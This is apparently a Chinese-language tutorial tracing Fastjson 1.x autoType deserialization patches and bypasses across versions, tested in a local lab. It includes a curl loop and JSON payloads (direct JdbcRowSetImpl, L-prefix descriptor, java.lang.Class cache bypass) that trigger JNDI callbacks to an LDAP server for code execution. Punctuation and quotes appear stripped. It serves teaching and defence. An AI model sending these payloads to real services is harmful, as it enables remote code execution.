
這一篇是本系列的核心從默認(rèn)能打到越來越難打每一個(gè)補(bǔ)丁改了什么、攻擊者怎么繞、為什么最終必須放棄 1.x 的 autoType 模型。所有結(jié)論都對應(yīng)配套靶場的實(shí)測矩陣lab/fastjson-lab/verify-output.txt引子一場持續(xù)七年、教科書級(jí)的打補(bǔ)丁—繞過戰(zhàn)爭Fastjson 的反序列化問題從 2017 年延續(xù)到 2022 年版本號(hào)從 1.2.24 一路補(bǔ)到 1.2.83。它不是一個(gè) CVE 一個(gè)補(bǔ)丁而是一長串 CVE 和無數(shù)次繞過每修一個(gè)安全研究者就找到一個(gè)新寫法官方黑名單越長繞過的套路越多。這段歷史是理解為什么安全不能依賴黑名單的最好教材。幾個(gè)關(guān)鍵節(jié)點(diǎn)足以看出這場拉鋸的節(jié)奏1.2.24autoType 默認(rèn)開啟type直接打無需技巧1.2.25引入checkAutoType和黑名單autoType 默認(rèn)關(guān)閉——第一次防守1.2.41 / 1.2.42L...;類描述符繞過與修復(fù)1.2.47出現(xiàn)只靠 fastjson 自身、不依賴外部庫的通用緩存繞過影響極廣1.2.68官方加入safeMode并引入ExpectClass1.2.80官方公告承認(rèn)特定依賴存在下仍可繞過對應(yīng) CVE-2022-258451.2.83修復(fù)該繞過同時(shí)官方給出升 1.2.83 / 開 safeMode / 遷 fastjson2三條路。本篇不滿足于貼版本號(hào)而是用配套靶場的實(shí)測矩陣把哪個(gè)版本、哪種寫法能打一條條驗(yàn)證出來再講清每次補(bǔ)丁改了什么、繞過為什么成立??炊缶蜁?huì)明白已升到 1.2.80并不等于安全因?yàn)槔@過取決于依賴樹里有什么 gadget。本篇要點(diǎn)L...;繞過為什么能生效它在利用哪個(gè)環(huán)節(jié)的不一致1.2.47 的緩存繞過 payload 里java.lang.Class到底干了什么為什么 1.2.62 之后通用 payload集體失效但系統(tǒng)仍可能不安全官方說的特定依賴存在下是什么意思對防守判斷有何影響safeMode 為什么沒有繞過一、先把靶場矩陣擺出來實(shí)測在靶場對每個(gè)版本發(fā)送同一批 payloadJNDI 目標(biāo)指向靶場內(nèi)置惡意 LDAP/HTTP 服務(wù)判定是否產(chǎn)生 JNDI 回調(diào)并執(zhí)行。matrix.py只是把逐版本重啟 發(fā)送 統(tǒng)計(jì)回調(diào)自動(dòng)化不依賴腳本時(shí)按下面的循環(huán)手動(dòng)做即可。cd /opt/fastjson-lab for v in 1.2.24 1.2.25 1.2.41 1.2.42 1.2.43 1.2.47 1.2.62 1.2.68 1.2.80 1.2.83; do pkill -f com.lab.fastjson.FastjsonLab; sleep 1 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -cp target/fastjson-lab.jar:lib/fastjson-$v.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 換 classpath 里的版本 sleep 2 : /opt/jndi-server/callbacks.log # 清空回調(diào) curl -s -G http://127.0.0.1:8080/parse --data-urlencode \ data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} /dev/null echo $v 回調(diào)$(wc -l /opt/jndi-server/callbacks.log) # 回調(diào)0 即觸發(fā) done實(shí)測結(jié)果如下行payload列fastjson 版本RCE表示產(chǎn)生 JNDI 回調(diào)并執(zhí)行payload1.2.241.2.251.2.411.2.421.2.431.2.471.2.621.2.681.2.801.2.83direct直接寫危險(xiǎn)類名RCEblockedblockedblockedblockedblockedblockedblockedblockedblockedL-prefixL...;描述符RCERCERCEblockedblockedblockedblockedblockedblockedblockedcache-Classjava.lang.Class緩存RCERCERCERCERCERCEblockedblockedblockedblockedexpectClassRCEblockedRCERCERCERCEblockedblockedblockedblockedthrowableRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-direct開 autoTypeRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-cache開 autoType緩存RCEblockedRCERCERCERCEblockedblockedblockedblocked讀表要點(diǎn)1.2.24 全綠autoType 默認(rèn)開啟無需技巧1.2.25 首回合防守direct被擋但L-prefix、cache-Class仍可繞1.2.42 修掉L-prefix但cache-Class仍通1.2.47 的cache-Class是只靠 fastjson 自身、不依賴外部庫的通用繞過1.2.62 起通用 payload 全部失效表中 payload 是通用的、只需要 fastjson 本身的寫法。后面會(huì)說明1.2.62 之后不是絕對安全而是繞過開始依賴項(xiàng)目里碰巧存在的第三方 gadget / 特定解析上下文通用性大幅下降。二、1.2.24 → 1.2.25守門函數(shù)登場1.2.24 及更早autoType 默認(rèn)開啟{type:com.sun.rowset.JdbcRowSetImpl,...}直接打無需任何技巧。1.2.25 的修復(fù)引入checkAutoType內(nèi)置一份黑名單且 autoType 默認(rèn)關(guān)閉。于是直接寫危險(xiǎn)類名會(huì)得到ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl攻擊者的應(yīng)對黑名單只比對規(guī)范化后的類名而規(guī)范化邏輯不夠嚴(yán)。用類描述符寫法L...;即可讓黑名單比對失敗、而實(shí)際加載時(shí)又被還原{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:ldap://...,autoCommit:true}靶場實(shí)測 1.2.25、1.2.41 上確實(shí)能打L-prefix RCE。這就是軍備競賽的典型回合補(bǔ)丁修補(bǔ)的是類名比對繞過換的是類名長相。三、1.2.42修掉L...;但緩存漏洞已現(xiàn)1.2.42 在checkAutoType里把L/;的規(guī)范化補(bǔ)齊無論哪種路徑都先剝殼L-prefix隨之失效矩陣?yán)?1.2.42 的L-prefix變?yōu)閎locked。但 1.2.42~1.2.47 上另一種寫法仍然能打。這就是緩存繞過原理在上一篇講過——檢查順序里查緩存在查黑名單之前。緩存繞過 payload{ a: {type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl}, b: {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://...,autoCommit:true} }逐段解釋解析a時(shí)type是java.lang.Class——這個(gè)類本身是允許的不是危險(xiǎn)類。Fastjson 用MiscCodec處理它取val作為要加載的類名并把這個(gè)類放入TypeUtils的緩存映射于是com.sun.rowset.JdbcRowSetImpl被登記進(jìn)緩存解析b時(shí)checkAutoType第一步查緩存就命中了在黑名單檢查之前直接放行后續(xù)照舊觸發(fā) JNDI → RCE。Java 說明MiscCodecFastjson 處理特殊類型的內(nèi)置編解碼器。遇到type為java.lang.Class時(shí)它會(huì)讀取val字段把其中的類名加載成Class。TypeUtilsFastjson 的類型工具類內(nèi)部維護(hù)一張類名 → Class的映射緩存mappings。該繞過利用的正是檢查邏輯先查緩存、再查黑名單的順序缺陷只要先用java.lang.Class把危險(xiǎn)類塞進(jìn)緩存后續(xù)檢查就會(huì)放行。因果總結(jié)這個(gè)繞過不依賴任何外部 gadget只需要 fastjson 一個(gè)Class類型屬性 兩個(gè)字段。所以在 1.2.47 上它被公認(rèn)為最通用的 autoType 繞過。靶場里 1.2.47、1.2.42、1.2.41、1.2.25 的cache-Class均為RCE驗(yàn)證了這一點(diǎn)。為什么 1.2.62 之后不行了1.2.62 / 1.2.68 對緩存路徑也加了判斷不再是在緩存里就無條件放行危險(xiǎn)類即便進(jìn)了緩存仍會(huì)被攔。矩陣?yán)?1.2.62 起cache-Class變?yōu)閎locked。四、1.2.68safeMode 與 ExpectClass1.2.68 有兩個(gè)重要變化引入 safeMode一旦開啟無論黑白名單都不支持 autoType等于徹底關(guān)掉這條攻擊面。這是防守方目前最穩(wěn)的亡羊補(bǔ)牢。引入ExpectClass期望類型機(jī)制當(dāng)解析上下文已經(jīng)知道期望的類型時(shí)如果type指定的類是其子類/實(shí)現(xiàn)可能被放行。ExpectClass本身是為了兼容泛型/接口多態(tài)但它帶來了新的繞過思路讓解析上下文期望一個(gè)寬泛的接口比如java.lang.AutoCloseable再讓type指向?qū)崿F(xiàn)了該接口的危險(xiǎn)類。注意這類繞過不是萬能 payload它要求業(yè)務(wù)代碼恰好以帶期望類型的方式解析例如parseObject(json, SomeWrapper.class)而SomeWrapper的字段類型是某個(gè)接口。在本靶場的/parse無期望類型下無法復(fù)現(xiàn)ExpectClass繞過——矩陣?yán)飁xpectClass在 1.2.68 為blocked。這恰恰說明一個(gè)重要事實(shí)1.2.68 之后的繞過是條件化的和業(yè)務(wù)代碼的解析方式強(qiáng)相關(guān)不再是一條 payload 通吃。五、1.2.80 與 CVE-2022-25845依賴型繞過2022 年 5 月Fastjson 官方發(fā)布安全公告wiki:security_update_20220523原文要點(diǎn)近日 Fastjson Develop Team 發(fā)現(xiàn) fastjson 1.2.80 及以下存在新的風(fēng)險(xiǎn)……特定依賴存在下影響 ≤1.2.80建議升級(jí) 1.2.83或開啟 safeMode或使用 fastjson v2。關(guān)鍵詞是特定依賴存在下。也就是說這個(gè)繞過需要一個(gè)項(xiàng)目里恰好存在的第三方 gadget 類屬于某個(gè)依賴庫且能觸發(fā)危險(xiǎn)行為來配合它不是只要用 fastjson 1.2.80 就能打沒有對應(yīng)依賴就打不動(dòng)因此在本靶場的最小依賴fastjson 少量 gadget 庫下矩陣?yán)?1.2.80 的通用 payload 全部blocked。額外試過依賴型 gadget如 xbean 的JndiConverter在 1.2.68 默認(rèn)配置下同樣被攔。這個(gè)事實(shí)對防守方的啟示是已升到 1.2.80并不等于安全因?yàn)橐蕾嚇淅镉惺裁?gadget攻擊者比使用者更清楚。1.2.83 才修復(fù)了該次繞過且官方明確建議遷移 fastjson2。六、1.2.83 與通用 payload 的終結(jié)1.2.83 的效果矩陣?yán)锼型ㄓ?payload 全部blocked。同時(shí)官方給出三條路升級(jí)到 1.2.83有 autoType 行為變更可能不兼容開啟 safeMode1.2.68完全關(guān)閉 autoType最穩(wěn)但可能影響業(yè)務(wù)遷移 fastjson v2重寫版本不再為兼容保留白名單安全模型不同。到這一步1.x 的 autoType 模型已經(jīng)補(bǔ)丁疊補(bǔ)丁官方也承認(rèn)這套設(shè)計(jì)本身是負(fù)擔(dān)。現(xiàn)代項(xiàng)目的正確答案不是打補(bǔ)丁到最新 1.x而是上 fastjson2 或換 Jackson 并關(guān)閉多態(tài)反序列化。七、為什么繞過注定條件化把整場軍備競賽抽象一下黑名單比對類名 - 繞換個(gè)類名長相L...; 黑名單 規(guī)范化 - 繞走緩存讓檢查在命中黑名單前就放行 修緩存路徑 - 繞換依賴庫里的等價(jià) gadget項(xiàng)目恰好有這個(gè)依賴 加 ExpectClass 限制 - 繞利用業(yè)務(wù)帶期望類型的解析上下文 safeMode - 沒有繞過因?yàn)橹苯硬豢春诎酌麊瘟艘?guī)律只要類名可由輸入決定這個(gè)根還在攻防就永遠(yuǎn)在追補(bǔ)丁safeMode/fastjson2 是拔掉根所以沒有繞過。這就是下一篇要講的現(xiàn)代方向。八、自測L...;繞過能生效是因?yàn)楹诿麊魏蛯?shí)際加載用了不同的類名規(guī)范化——請解釋這句話。緩存繞過為什么能跳過黑名單它的 payload 里java.lang.Class起了什么作用為什么 1.2.68 之后的繞過和業(yè)務(wù)解析方式強(qiáng)相關(guān)舉一個(gè)ExpectClass繞過的前提。官方公告說特定依賴存在下影響 ≤1.2.80這句話對防守方的判斷意味著什么safeMode 為什么沒有繞過它和黑名單在原理上有什么根本區(qū)別